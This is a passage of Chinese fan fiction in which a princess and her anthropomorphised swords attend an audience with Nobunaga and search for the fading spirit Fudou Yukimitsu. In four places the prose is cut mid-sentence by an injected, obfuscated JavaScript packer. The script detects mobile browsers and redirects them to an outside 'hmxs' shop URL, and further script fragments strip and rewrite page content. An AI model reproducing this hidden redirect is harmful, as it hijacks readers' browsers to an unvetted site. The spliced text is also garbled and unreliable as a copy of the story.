政宗从阴影中走出,站定在她面前。月光从侧面落下,把他俊朗的侧脸勾出一条锋利的线。 “这就是公主昨晚说的烛台切吗?”他开口,语气平稳,却带着若有若无的试探。 夜子的心猛地一紧,不确定他昨晚是否注意到自己腰间也是挂着这阵太刀,但此刻只能硬着头皮赌一把。 她点头,努力让自己的声音保持镇定,“对的,它便是烛台切。”指尖却因为紧张悄悄收紧。 政宗察觉了她微妙的动作,但却没有点破,只是问道:“我可以看看吗?”他的声音不重,却极有气势,让人难以拒绝。 夜子暗暗猜想,想必在他的原世界,他是个极为优秀的上位者。 她本想拒绝,但刚要开口,刀身突然在她掌心里微微一颤。她犹豫了瞬间,最终还是选择信任烛台切的判断,抬手把刀身递了过去。 政宗接过刀的动作格外小心,不敢有丝毫怠慢。 “真是一振好刀。”他的拇指轻轻摩过刀鞘,语气里是发自内心的赞叹,“总觉得……有种很熟悉的感觉。” 夜子看到他的表情认真,甚至带着微微的出神。 是想起了自己原本的记忆吗? 然而她却失望了。 对方垂下的睫羽轻轻颤了颤,他并没有想起那些东西,只是明白了另一件事。 “……原来如此。”政宗低声道,抬眼看向她,眼底闪过一瞬明悟,“所以公主果然昨天是在找它吧?” 夜子稍稍点头,对方那一瞬的神色变化便落进了她的眼里。 他的神情轻微黯下去。 他低下视线,又迅速恢复平日的沉稳,只是那点落寞依旧藏在眼底,“如果公主愿意告诉我的话,”他轻声道,“我很乐意陪公主一起去找。” 夜子愣了一下。他说得真诚,反倒让她心里更加不安。 “不想麻烦政宗大人。”她摇头,语气柔和,却带着礼貌的距离感,“更何况,您也有任务在身,不能因为我耽误。” 政宗原本半垂着的眼睫微微一动,忽然开口,“政宗。” 夜子愣了下,抬起头,“嗯?” 他抬眼看向她,这一次的对视比刚才更近,一向沉稳的眼神此刻却带着一点近乎任性的坚持以及被压在底下的情绪,“唤我政宗就好。” 他顿了顿,又轻声补上一句,“昨晚我已经告诉公主了……不是吗?”语气仍保持着克制的温和,却压不住那一点点期待。 夜子的心像被轻轻拨了一下。 这样真的好吗? 她一瞬间甚至不知道自己的慌乱来自哪里。 明明只是称呼,却感觉会让距离忽然变得……很近,近到让她连心跳都变得不太安分。 但是对方已经第二次主动要求了,如果继续拒绝,似乎就显得她太生硬了。 她虽然不太习惯被人这样直接拉近距离,却也不习惯冷漠推开别人。 夜子犹豫了一下,睫毛轻颤,最终还是垂下眼,把乱掉的情绪收拢回心底,再轻轻吸了一口气,“……政宗。” 政宗明显愣住了,像是没料到她真的会答应。他的嘴角随即慢慢扬起,眼神也随之明亮了一瞬,带着一点深藏的欣喜,就仿佛压了很久的心意终于得到回应般。 “被呼唤名字就这么开心吗?”夜子在心里低声感叹,“政宗大人……真是个容易满足的人。” 她自己却没察觉,这个亲昵的称呼也让自己的胸口微微发烫。 夜子迅速换了个安全的话题,以免气氛再纠缠下去,“对了,大人这次来,是来找我的吗?”毕竟这是通往她房间的走廊,一般人不会刻意走到这里。 政宗也恢复了平日的沉稳,点头道:“信长大人在找您。” 夜子的心瞬间提了起来,“是什么事吗?” “具体我也不太清楚。”政宗微微侧过身,让出通道,让她先行的动作里带着下意识的体贴,“好像是关于昨天救下公主的人。他希望您能带那些人去见他。” 糟了。 她想装傻,试图从神情间挤出一点茫然,可才抬起头,政宗便微微偏了偏脑袋,目光平静得仿佛早已看穿一切,“信长大人已经发现了。” 夜子垂下视线,指尖轻颤,悄悄收紧成拳。 躲不掉了。 她深吸一口气,稳住心跳,努力让语气保持平稳,“……请让我先回房间准备一下。” 政宗点头,没有追问也没有多说,只是静静站在那里,“我在外面等您。” 夜子启唇,本想让政宗先离开,免得他在外面久等,但话到唇边又停住了。 若是让他走,好像反而不太对。说不定他会认为自己想要以此为借口逃避,要是因此而引来更多人反而不好了。 她犹豫了半秒,最后只是轻轻点了点头,政宗便安静地站在原地。 夜子深吸口气,推门走进房间。还没站稳,迎面撞上的便是刀剑们紧张的视线。 “大将要去吗?”信浓最先冲到她身边,揪住她衣袖的动作比平常更紧,“那我跟你一起去吧!”他的声音带着点压不住的担忧,像是怕她一转身就会被带走。 旁边的巴形薙刀和小夜虽然没开口,但目光都牢牢黏在她身上,用眼神表达同一个意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875516|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是信长大人的召见……果然还是织田组的刀剑前往比较合适吧。”药研顿了顿,分析得条理分明,“也正好借机确认,那位是否真的是信长公。” 宗三和长谷部对视一眼,默默点头。 长谷部沉声补充,“现在他们并不知道我们的确切人数,我们也无需全员出动。”他抱臂思考,“多留几个后手,才是上策。” 说完,他开始点名,“小夜、白山、信浓……还有巴形薙刀就先留下吧。” 他语气平静得不能再平静。 咳咳,他绝对没有借机报仇的意思。 真的。 巴形薙刀挑了挑眉,像是心里知道他的小心思,但还是大度地点了点头,“好,我留下。” 夜子在混乱的小讨论里抬起头,忽然想起他们好像漏了一个重要的人,“烛台切也要跟着去吗?” 烛台切从人群后走近一步,姿态依旧优雅。 “信长大人也曾经是我的主人,”他温和地回答,“而且政宗大人应该也会出席。”他轻轻顿了一下,补充道:“我也算是比较合适的随行人选。” 夜子仔细想了想,“好,那就这样吧。” 刀剑们互相看了看,终于从刚才的紧绷中缓了一些,然而新的问题就来了。 “我们若是直接从房间走出去……”长谷部眉头紧锁,那种为了主不惜一切的严肃神情又出现了,“会给主的名誉带来不好的影响吧。” 若是害了主人…… 他垂下眼眸,神色晦暗不明。 宗三轻轻点头,手指无意识摩挲着衣袖,“这的确是个问题。” 夜子突然回想起政宗还在门外等她,那么他们只能—— 空气沉默了两秒。 接着所有人的目光不约而同地转向房间里唯一的窗口。 “……”她忍不住抬手扶额。 烛台切最先开口,语气有些无奈,“我们要从这里离开吗?听起来不是很帅气呢。” “现在也不是纠结帅气不帅气的时候了。”药研冷静分析,“看来只能这样了。” 她还来不及阻止,长谷部已经迈前一步,“主人可以将变作本体的我们直接扔下去。”他说得无比正经,“只要是主命。” 夜子:……?!! 宗三忍不住叹息,轻声道:“长谷部,你把主人吓到了。”然后他转头看向夜子,“虽然他说得有些直接,但的确是个办法。若是用刀剑本体离开,会比人形更隐蔽,也不会被外面的人看到。” 他竟然也赞成。 夜子整个人都懵了,“可、可是……这样不会受伤吗?”她脑补出把刀当飞镖扔出去的画面,愈想愈觉得哪里怪怪的。 “别担心,大将。”药研抬头看向她,语气安抚而坚定,“请这样做吧。” 嘴上说这不帅气的烛台切也沉稳地点头,“主人只需交给我们就好。” 夜子环视了房里一圈刀剑们,他们个个眼神认真、态度郑重,竟然没有一人是完全反对的。 她深深吸一口气,“那就这样吧。” 20. 见面 刀剑们齐齐点头。下一刻,整个房间微微亮起灵光,一振振刀剑本体整齐地落在她脚边。 夜子看着地上一排闪闪发亮的打刀太刀,忽然意识到她等会真的要把他们一个一个丢下窗。 夜子看向一旁还维持着人形的刀剑,眉心轻轻皱起,显然还在犹豫,“我需不需要用布把他们包裹起来?” 她还是问出口,声音里带着一丝不安,“如果有布作缓冲保护,应该能让他们落地时不那么疼吧。” “化成人形……会被包住。”白山垂下眼,认真思考后给出了答复。 她轻轻叹了口气,只能接受这个结果,“不能啊……” 于是,她只能把他们小心翼翼地、一点点探出窗外。手指每松开一寸,她的心就跟着往下一坠。 “请务必平安着地。”她像是祈祷一样地呢喃。 楼下是厚厚的草地,她只能寄望于草叶的柔软能把他们接住。刀剑们落下时发出的闷响让她整颗心都紧到窒息,好在没有听到金属碎裂的声音。 她仔细确认过最后一振刀剑也藏进暗处后,肩膀才一点点放松下来。她轻轻呼出一口气,抬起手整理了一下鬓角与衣襟,让自己看起来至少不要太狼狈。 现在必须冷静。 门一拉开,夜子脸上的表情已经恢复成平稳温柔、不露任何慌张痕迹的模样,“久等了,政宗大人——” 话说到一半,她忽然想起刚刚的对话。于是,她顿了顿,眼睫微微颤了一下,“嗯……政宗。” 果然还是太亲昵了吧。 她甚至能感觉到自己的耳尖有点热。 站在门外的政宗原本正准备说一句无事,却在听到她轻声唤他的名字时骤然愣住。 “没有久等。”他说话时嘴角忍不住扬起,却不是他惯常的克制笑意,温柔的弧度带着笨拙的欢喜。 他轻咳了几声,很明显是为了掩饰脸上的热意,“方才听见房中似乎有刀剑发出的声音,”他努力让语气保持平稳,“是发生了什么吗?” 夜子的心脏猛地跳了一下,不过她很快镇定下来,声音也尽量保持自然,“是我在摆放烛台切、药研他们,还有白山和信浓。”为了增加可信度,她还提起了其他刀剑。 政宗听着,神色果然松了些,感慨道:“公主果然很喜爱它们,”然后像是随口提起般开口问,“这些是幸村送给你的刀剑吧?” 夜子不太懂他为何突然这么问,但仍点头回应。 政宗的眼神轻轻垂下,压住了什么情绪,低声呢喃,“如果是我送给你……” 你也会这么喜欢吗? 夜子怔了怔,“你方才说了什么吗?” 政宗看了她一瞬,目光里是想说出口,却又自觉不该让她负担的心意。 “不,没什么。”最终他只是摇头,“请不用在意。” 她当然不相信他的说法,但见他似乎不想提的样子,便也没有继续询问,只是轻轻点头是体贴地替他把那句尚未说出口的话收进心里。 走廊幽长,夜色透过木格窗落在地上,两人沉默着往前走,并肩的脚步缓缓移动。 政宗在前半步的位置行走,却比平时慢了一些,似乎是为了让她跟得更轻松。 终于,他们来到了那处房间。木门被灯火照亮,门前侍者静静候着。 政宗在门口停下,侧头看向她,“公主,请。”话音刚落,他像是想起什么,目光微微一动,“昨天救下公主的人……”他看向四周,似乎在探查他们的位置。 夜子也不确定他们究竟来到了没有,但却仍是佯装云淡风轻,像是什么都尽在掌握中一样轻轻点头,“他们已经来了。” 既然是忍者,那神出鬼没也很正常吧? 只不过,长谷部和宗三知道这个设定了吗? 政宗在这时回头,目光往她身后掠过,沉静的眼中闪过短暂的惊讶与……赞叹? “我想我看到他们了。” 他们的身后不知何时出现四个男人,最令政宗在意的,是其中一位。那男人的侧脸和他极为相似,同样的金色眼睛,同样的眼罩,只不过气质更温和。 他视线滑到对方的腰间,那振太刀的刀鞘颜色与装饰,他绝不会认错。 那不是公主的烛台切吗?为什么公主的刀会挂在那个男人的腰间? 难道—— 他垂在身侧的手指微微收紧,心口蓦地掠过一丝酸涩。 “政宗大人。”那人却主动向他行礼,动作端正,礼节无一不恰到好处。对方神情温和,而且语气很是尊重。 政宗微怔,心中不可言说的复杂情绪更深一层地漾开。 夜子正准备开口介绍,就听见房间里传来陌生的男声,“进来再说吧。”虽然她从没听过这个声音,但不知为何在听到后就下意识地知道他是信长大人。 她微微一怔,随即立刻回神,轻轻朝身后的刀剑们点头示意,然后推门走了进去。 银白色头发的男人坐在上位,他只是抬眸看她一眼,视线却像能将人看穿。一名黑发黑瞳的青年在座下跪坐着,正轻轻咳嗽,手指微微发颤,却努力维持着稳重。 “半兵卫,你没事吧?”信长挑眉。 “没事,多谢信长大人关心。”黑发青年微微低头,嗓音有些沙哑,却透着恭敬。 在她的记忆里,父亲与她的未婚夫关系说不上差,但绝没有到这种近乎信赖与默契的程度。明明是父亲自己亲自定下的婚约,但他对她未婚夫的态度却一直很冷淡,像是看不太上他。 可现在替代了她原本的父亲与未婚夫的两人看上去关系不错。 难道在原本的世界里,这两人就认识? 不,甚至不只是认识。 夜子从两人眉眼间流露出的细微反应,隐约捕捉到两人共同经历过许多、彼此深知对方底线的熟悉感。 “这些就是救下公主的人吗?”半兵卫看向他,目光并不像她记忆里未婚夫的神情般温柔。 她的肩膀下意识绷起了一瞬。 果然,他们不是同一个人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875517|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是的,”她尽量让自己的声音保持自然,“因为是忍者,所以一开始并不想出现在众人面前,所以没前来拜见父——” 她犹豫了一下,没能流畅说出那个称呼。就在她停顿了一下,准备继续说时,信长主动打断,“唤我信长大人便好,” 他轻哼,嘴角扬起一丝戏谑的弧度,“毕竟对着我的脸,说不出那个称呼吧。” 夜子的心咚地一跳。 他是不是知道了什么?还是说,他只是在随口试探? 她努力让表情不被撬开破绽,深吸一口气,行礼回应,“是,信长大人。” 信长转头看向刀剑付丧神们,“你们不自我介绍吗?” 药研在她身旁往前迈一步,微微躬身,“我是药研藤四郎。” 信长挑眉,似乎正要说出他记忆里的另一个名字,“我记得是——” “是我送给姐姐的短刀的名字!”幸村突然打断,语气因不悦而冷了几分。自夜子进入房间后,他便一直很安静,却在看到药研的瞬间明显动怒,“而且那振短刀怎么会出现在你身上?” 但药研却平静得像早已有准备。 他微微抬头,看向幸村,用最简练也最稳妥的方式作答,“忍者没有名字。我们自愿效忠公主后,公主便用刀剑为我们命名。” 他顿了顿,斟酌般地接上,“这振短刀也是我们救下公主后,公主给予的报答。”他声音沉稳有礼。 政宗一直紧攥的拳头悄悄松开。 “夜子,为什么……”幸村的目光却黏在夜子身上,几乎移不开。 明明是我送的、你一直随身带着的短刀,怎么就这样给别人了呢? “这可是药研。”他委屈得太明显了,很明显不解对方一直珍爱的短刀竟然能这么轻易地送出去。 就算是救命恩人,也果然还是有些难受。 “对不起,幸村。”夜子和他对上眼,只觉得太阳穴隐隐跳痛。 她当然知道为什么会这样——这是药研本人啊! 但是,她总不能解释他们就是那些刀的付丧神,因为这只会让事情变得更加离谱。 她只好绷着微笑,默默在心底叹气。 就在这个微妙的沉默里,轻佻的声音在众人中突然响起,“用主家的刀剑命名,这是哪里的忍者的规矩?” 金发的青年像影子一样悄无声息地出现在众人身侧。 政宗警觉得像被拉响的弓弦,下意识拔刀,但在看清来者的瞬间顿住,锐利的金瞳一闪而过,随即刀身稳稳归鞘。 “原来是风魔大人。”政宗面色沉着,语气带着礼遇中的一丝凝重,“您已经得到准许,可以从正门进入。” 风魔小太郎却只是勾唇一笑,眼尾惯有的懒散轻挑,“我可是忍者,从正门进入可一点都不像忍者。” 他蓝色的眼眸扫过药研他们,随意中又带着锋锐的探寻意味,“所以——” 他把头稍稍侧下,用审视猎物的姿态盯着对方,“可以告诉我,你们来自哪里了吗?” 21. 不动行光 “不过是个无名之地。”药研沉稳地回应。 “无名之地……”风魔小太郎挑眉,重复了他的字句,显然不相信他的话,转头看向座上的男人,“信长大人怎么看呢?” “无名之地,却出现了这样的英杰。”信长轻笑出声,“当真有趣极了。” 见对方似乎接受了他们明显的谎言,风魔小太郎也就不多说什么了,再次消失在阴影里,但夜子知道他并没有离开这个房间。 信长目光扫过药研等人,“其他人又叫什么名字呢?” 药研退到一旁,其他人自然接上。 “我是烛台切光忠。”烛台切微微躬身。 信长挑眉,似乎在等下一个人的自我介绍。 “宗三左文字。”宗三报出名字时微微低眼,像是怕与信长直视太久会暴露什么。 信长依旧无甚反应,只是轻嗯了一声。 直到第三道声音响起—— “……压切长谷部。”长谷部在说出名字的一瞬间,整个人明显僵硬了一下。 这一回,信长终于有了动作。他抬起头,像是被真正吸引到注意力般,认真地打量着长谷部。 长谷部的喉咙微微滚动了一下。他能感觉到自己的手心略微冒汗,指尖隐隐发麻。 他的名字源于眼前这个男人的残暴。织田信长因为无法原谅茶坊主的过错,用打刀将对方藏身的棚子一刀压切,并以此作为纪念命名了他。 他忍不住想到:“他会怎么评价?会觉得这是个奇怪的名字?” 各种胡思乱想像乱刀般在脑中横砍直撞。 就在他做好心里准备要被嘲弄、要被冷淡一笑、或者干脆被一句无趣带过时,信长开口了。 “真是个不错的名字,”他缓缓道,唇角甚至微微扬起,“听起来就很锋利。” 长谷部整个人都像被雷劈了一样。 他一瞬间愣住,连呼吸都忘了,甚至怀疑自己是不是听错了。那个男人居然、竟然、意外地喜欢这个名字? 他身边的其他刀剑倒是不怎么意外,毕竟这名字可是那个男人自己取的,要是他不喜欢这个名字,反而才是怪事。 信长重新看向药研。 因为药研是第一个发言的,于是他理所当然地把药研当作这群忍者的领头者。即便药研外表看起来更年轻,他却丝毫没有轻视,反而认真得像在看一把好刀。 “我看得出你们都是不错的人才。”信长笑得像是把人心思都看穿,“但若我抢了自己女儿手下的人,未免也太不像一个父亲的作为了。” 他说到女儿和父亲这两个词时,尾音故意拉得有些长,带着明显的戏谑,话里似乎暗藏了什么她听不懂,但他自己很享受的玩笑。 “所以我便只问药研你。”信长抬手,指尖微微一挑,像在点将,“愿不愿意为我效力?” 药研微微弯身,态度恭敬得无可挑剔,“多谢信长大人垂青。但药研以侍奉公主为先,不敢有二心。”他拒绝得礼貌,却也坚定得毫无回旋的余地。 还没等信长反应,旁边的幸村就不满地跳了出来,“喂,这可是父亲大人的邀请,你也太不识好歹——” “幸村。”信长只说了一声。 声音不重,但却让幸村立刻噤声,闷闷地收回视线,“是,父亲大人。” 信长又笑了,语气轻松得像什么都没发生,“真可惜。”但他说这句话时,脸上没半点恼怒,反而像是玩味地继续观察他们,“我能感觉到你们就像我的刀一样适合我。” “尤其是你。”他说着,视线轻轻扫过几人,最后定在药研身上,“我相信我们会很合得来。” 那句话像是暗藏了什么深意。 药研面不改色,眼都没眨一下,“承蒙厚爱。” 信长满意地点头,随后突然把话锋转回夜子,“夜子你有个好眼光。” 她连忙行礼,“信长大人谬赞了。”但就在她抬起头的那一瞬,她的视线却猛然顿住,因为她看见对方身后正站着一个少年。 紫发紫瞳的少年像背后灵一样静静地站在那里,她竟没意识到他究竟站在那里多久了。他看向她,再看向刀剑们,脸上并没有什么表情,隐隐透着无机质的气息。 她倒吸一口气,刀剑们也看见了他,并且神情诡异、甚至微微激动。烛台切微微睁大眼,宗三手指轻颤,长谷部更是下意识挺直了背。 可是,除了他们意外其他人都毫无反应,仿佛那里什么都没有。 还没等夜子从刚刚的震惊中回神,信长已经注意到她异常的视线偏移,他眉头一挑,“怎么?我的身后有什么吗?” 她几乎能感到紫瞳少年正在安静地注视着她,于是只能硬着头皮低下头,“不,并没有。” “哼,这样啊。”信长似笑非笑,像是放过她,又像是记下了什么。 夜子却只觉得后背的冷汗顺着脊椎往下滑。 信长的笑意忽然一敛,像是随口似的,却又精准得像刀锋划过。 “那么,”他的视线缓缓落回药研和其他刀剑身上,眼中带着某种审视,唇角懒懒地扬起,“你们又是为什么一直盯着我腰间的短刀呢?” 药研稍稍低眉,肩背却悄然绷直,“难得见到好刀,便忍不住多看了几眼。” “明明自己腰间就是一振好刀,却还是这么夸赞它吗?”信长先是一愣,随即大笑。笑声明亮豪放,毫不遮掩地展示自己的锋芒。 他把短刀放在膝盖上轻轻拍着,“它唤不动行光,果然是振好刀对吧?”然后,他轻轻抬起下巴,似乎是兴致来了,竟然直接哼起了歌,“不动行光,九十九发,五郎左御坐后者。” 夜子不明所以,只觉得这几句歌谣听起来有点怪,但其他刀剑的表情全都僵住了。 站在信长身后的背后灵少年早在听见男人的夸赞后,眼眶一下子泛红,在听见哼唱的瞬间,更是像被人狠狠戳中了心脏似的。 他的嘴唇抖了抖,身体像承受不住一样颤了两下,泪水顺着脸颊一颗一颗滚落,几乎控制不住情绪。 信长并没有理会其他人的僵硬,甚至完全不知道身后有个刀剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875518|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付丧神因为他的话和歌声哭成一滩。 他依旧漫不经心地继续道:“如果你们想要它,也不是不能给你们。” 他缓缓抬手,手指触上腰间的短刀刀鞘,语气里带着一种近乎兴致盎然的愉悦,“不过,这本是我打算赏给自己的小姓的。” 他挑眉,有些玩味地看向药研,“你们若想要,就得接受我的任命。” 药研微不可察地僵住。 他们必须想办法接触不动行光。 光从对方逐渐消散和透明的躯体,他便能意识到对方的处境并不太好。织田信长身上没有灵力,不可能维持不动的存在。 如果继续这样下去,不找审神者结契,他会因为缺乏灵力,作为付丧神的意识越来越薄弱,最终只剩下刀剑的本体,彻底沦为挂在织田信长腰间的一振短刀。 虽然对于不动来说,这或许是件幸福的事吧。作为忠于信长的刀,从始至终待在他身边,他或许觉得那就是完成自己。 但药研却知道这不对。 既然不动当初选择修行,是为了变强、为了保护其他同伴,那他绝不可能只想成为织田信长的刀。现在变成这样,说不定只是因为修行失败,迷失了方向,忘记了最初的愿望。 这便是修行失败的可怕之处吗?让人连自己的初心都开始忘记。 难怪一期哥一直劝兄弟们在前往极化修行前必须做好万全的准备。 药研压低眼帘,指尖微微收紧。 他们必须接触他,但不一定要通过信长的任命,因为一旦接受信长的任命,便意味着要离开大将。好不容易才真正来到大将身边,他无法在这种情况下离开她。 夜子第一时间察觉到他的呼吸停顿了一瞬,但她还是向他轻轻点了点头,眼神平静却坚定。 如果他愿意,她不会阻止。 只要目的相同,只要他们仍并肩站着,这种名义上的任命并不会改变什么。 药研看着她,心口某处悄然震动,却还没来得及回应,就在这个瞬间,他忽然感觉到一股极不祥的寒意忽然从前方悄悄涌来。 那是赤裸裸的杀意。 他缓缓侧目,信长身后的不动行光仍在哭着,但他那双泪眼此刻正死死盯着。明明他眼睛哭得肿得像桃子,却像随时会拔刀杀人。 他情绪极端到近乎扭曲,眼神里的意味清晰得不能更清晰。 你敢答应,我现在就用本体捅死你。 药研的呼吸轻轻颤了颤。 不动的精神状态极不稳定,不认得他们,似乎对接近信长公的人存在明显敌意,在这种情况下绝对不能刺激他。 药研只能压住喉间涌起的回话,把无数念头硬生生按下去,重新端正身姿行礼,“此事容我再思量。” 信长似笑非笑,显然看穿了他们全部的顾虑,但他没有拆穿,只是轻轻嗯了一声,“行。”他随手拍了拍腰间的刀,“这个约定永久有效。” 他背过身前,丢下最后一句,“想好了,就来找我吧。”说完,他便像什么都没发生一样继续会议。 22. 保护 “既然你们选择追随了夜子,”信长懒散地扫了他们一眼,“那我就当,你们也愿意为了杀鬼尽一份力。” “毕竟这也是夜子的愿望,”信长目光向夜子略微倾斜,嘴角带着一点若有若无的笑意,“对吧?” 夜子的心脏轻轻一紧,那种被看穿的感觉让她微微吸气,却仍保持着得体的姿态。 “是。”她平稳地回答。 哪怕心事众多,刀剑们也随之点头。毕竟不管是保护主人,还是消灭时间溯行军,本就是他们的职责。 信长满意地扬了扬眉,像是看着一群被挑中的精锐,“很好。”他说得轻描淡写,仿佛他们的选择不过是天经地义,“之后我们会安排出阵。” “好了,散会。”他转身时衣摆轻轻掠过地面。 夜子静静站着,直到信长的脚步声完全消失,才缓缓吐出一口气。 旁边的药研不动声色,却能看见他指尖微微收紧。烛台切和长谷部站在她另一侧,眉眼依旧紧绷。宗三则沉默着,但眉间的忧色未散。 夜子轻声道:“你们都没事吧?” 他们齐齐摇头。即便他们表面收敛,夜子仍能看见他们眼底深处的紧绷与不安。不管是难以揣测的信长、还是几乎成为背后灵的不动行光,全都悬在他们心上。 药研最先开口,他压低声音,“大将,信长公身后的刀剑付丧神是我们的同伴。” “他的状态恐怕是因为没有灵力支撑。”宗三抬眼,语气里带着忧虑,“再这样下去,他迟早会消散的。” 长谷部沉声补充,眉心紧锁,“而且他现在几乎没有理智了,甚至不记得我们。” 烛台切轻声道:“我们必须想办法跟他接触,但不能刺激他。” 夜子抿了抿唇,还没来得及回应,远处传来的脚步声再次靠近。信长的随从出现在他们面前,恭敬地向夜子行礼,“公主,信长大人请您前往,准备下一步的出阵计划。” 夜子一怔。 她身后的刀剑们神色几乎是刹那骤变,眉目同时一沉。 信长要单独找她?在这种气氛下? 按照对方表现出的高深莫测以及似乎知道什么的模样,他们实在很难放心让夜子单独去见他。 药研立刻上前半步,“我们陪同——” “抱歉。”随从弯身低头,态度恭敬,语气甚至带着一点恳求,“信长大人说公主一个人来便可。” 夜子看向他们,刀剑们眼底的焦灼与防备几乎一览无遗。她轻轻摇头,示意他们放心。她深吸一口气,目光坚定,试图安抚着说道:“我会没事的。” 药研藤四郎眼底那丝被压着的不安让她胸口轻轻一颤。 她转身迈步前行,却在即将走出门槛前停了下来。她回头看了一眼,小声向他们说:“你们看看能不能借此机会去找找不动行光。” “不用担心我。”她眉眼弯弯。 药研藤四郎看着她的目光,终究还是点头,目送着她离去。 “现在我们是要……”宗三低声问道。 烛台切深吸一口气,“先去找不动吧。”他看向药研藤四郎,小心地问道:“药研藤四郎殿的隐蔽比较好,要不要跟上去?” 很显然,他们心里都不放心让夜子独自面对信长。 药研藤四郎犹豫了一瞬,但心里实在放心不下,再加上考虑到刚刚不动对自己的敌意,最终还是点头,“我去暗中保护大将。不动的事就拜托你们了。” “放心吧。”烛台切笑着拍了拍他的肩,却显然也在努力撑住气氛,“包在我们身上。” 于是,药研藤四郎踏上另一条暗道般的走廊,背影迅速隐没在阴影里。 剩下的几人对视一眼,悄悄地在走廊上行走。他们顺着灵力残留的痕迹来到了信长的房间。 看起来,信长应该在会议结束后曾经回来房间一趟,将腰间的不动行光解下,并把它留在了房间。 烛台切推开房间的木门,眉头紧蹙地注视着上面空空如也的刀架。 原本在上面的怀剑不翼而飞。 宗三与长谷部对视一眼,那种不妙的感觉像冷水浇下。 “那里有什么吗?”长谷部沉声问道,“不动不在这里。” “之前有一振怀剑挂在上面,”烛台切光忠凝重地说道,“就是它诱导主人许愿,让政宗大人他们来到这个世界。” 另外两人的神色也随之沉了下来,即使他们不全知内情,也明白一振能凭许愿扭转世界、召来其他世界的人物的怀剑绝对是个重大的威胁。 “怀剑自己消失了?”宗三低声道。 烛台切缓缓摇头,“不清楚。希望只是挪到了别的地方。” 但三人都知道怀剑若会移动位置,绝不是好兆头。 “怀剑之后再查。”长谷部率先冷静下来,握住刀柄,“眼下最紧要的是不动。再拖下去,他的意识会比我们预想的更快消散。” 烛台切的目光向走廊深处望去,“我们分头找,但千万小心。”毕竟方才不动对药研的敌意浓烈到连他们都能察觉得到,难保和药研一起的他们也会被不动视为敌人。 其他人都点头同意,各自行动。 长谷部的手紧按在刀上,向角落走近,始终保持戒备。忽然,一道寒光从阴影中疾掠而来,一振短刀直接刺向他的侧腹。 他迅捷用打刀横挡,然而金属碰撞声却根本没出现。 长谷部怔住了,那一振短刀也愣了一瞬,突然意识自己无法刺中。 听见动静的烛台切与宗三迅速赶来,“发生什么了?” 长谷部微微抬手,“找到不动了。” 微弱的脚步声随即在角落响起,不动行光瞳孔浑浊、目光涣散地喃喃道:“擅闯信长公的房间……不可饶恕。” 下一瞬,他抬刀直冲向刚赶来的烛台切。太刀灵敏地闪开,并迅速挥刀反击。不动的身体被刀刃完全贯穿,却没留下任何伤口。 他们终于意识到不动的意识与身体已经消散到连付丧神都无法触碰。 长谷部的手紧紧攥拳,指节泛白,声音第一次显露出压不住的颤意,“你还记得我们吗?” 不动行光抬起头,空洞的眼眸中毫无焦点。他胸膛微微起伏,短刀松开了些,刀尖下垂,却依旧被他死死攥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875519|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 “你们……”他的声音轻得像被风吹散,“不应该在这里。” 他似乎认出了他们,却又像认不全,介于清醒与混沌之间。 “若我们不来这里,你就会消散了。”长谷部皱眉,低声开口,“走,我带你去找主人契约。” 说完,他竟是直接向他伸出了手,准备拉着他去找夜子,然而却忘记自己已经无法触碰对方了。 他的手只穿过了空气。 不动行光缓缓转头看他,神情朦胧,像是喝醉了,又像是失了魂。 “我是跟着信长大人才来到这里的。”他醉醺醺,像自言自语般喃喃,“你们又是因为什么?……主人?哈……”他嘴角浮出一个苦涩而涣散的笑,“我已经有信长公了。” “别演了。”长谷部的语气冷淡,“你现在这个状态,哪里来的酒?” 那句话像是击中了某个痛点。 不动行光的眼神骤然黯下,光芒消失得干干净净。 “你们是要……带我回去吗?”他呼吸发紧,声音开始破碎,“我不会回去的。我不会。我……要留下来保护信长大人。你们不要拦我,不然……” “不然怎样?”长谷部猛地逼近一步,“要和我们手合?” “不然又怎样?”不动行光反问,可声音里已没了先前的狠意,像是虚张声势。 长谷部冷笑,“你现在连实体都没有,拿什么战斗?就凭你现在的样子,连保护那个男人都做不到吧。” 